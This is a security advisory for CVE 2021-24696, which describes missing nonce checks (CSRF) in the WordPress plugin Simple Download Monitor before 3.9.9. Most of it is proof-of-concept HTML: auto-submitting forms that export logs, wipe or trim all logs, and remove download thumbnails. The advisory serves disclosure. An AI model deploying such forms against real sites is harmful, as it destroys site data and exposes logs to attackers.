Simple Download Monitor < 3.9.9 – Multiple CSRF | CVE 2021-24696

Description

The plugin does not enforce nonce checks, which could allow attackers to perform CSRF attacks to 1) make admins export logs to exploit a separate log disclosure vulnerability (fixed in 3.9.6), 2) delete logs (fixed in 3.9.9), 3) remove thumbnail image from downloads

Proof of Concept

To export logs (which could then be downloaded by unauthenticated users using the Unauthenticated Log Access issue) - Fixed in 3.9.6
<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs&action=sdm-logs-export" method="post" id="csrf">
<input type="hidden" name="sdm_stats_start_date" value="2021-08-31">
<input type="hidden" name="sdm_stats_end_date" value="2021-08-31">
<input type="hidden" name="sdm_export_log_entries" value="1">
</form>
<script>csrf.submit()</script>

To delete logs (fixed in 3.9.9):
<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf">
<input type="hidden" name="sdm_reset_log_entries" value="1">
</form>
<script>csrf.submit()</script>

<form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf">
<input type="hidden" name="sdm_trim_log_entries" value="1">
<!-- older than 0 days = basically all -->
<input type="hidden" name="sdm_trim_log_entries_day" value="0">
</form>
<script>csrf.submit()</script>


To remove thumbnail image from downloads (fixed in 3.9.9)
<form action="https://example.com/wp-admin/admin-ajax.php" method="post" id="csrf">
<input type="hidden" name="action" value="sdm_remove_thumbnail_image">
<!-- assuming download 612 has thumbnail -->
<input type="hidden" name="post_id_del" value="612">
</form>
<script>csrf.submit()</script>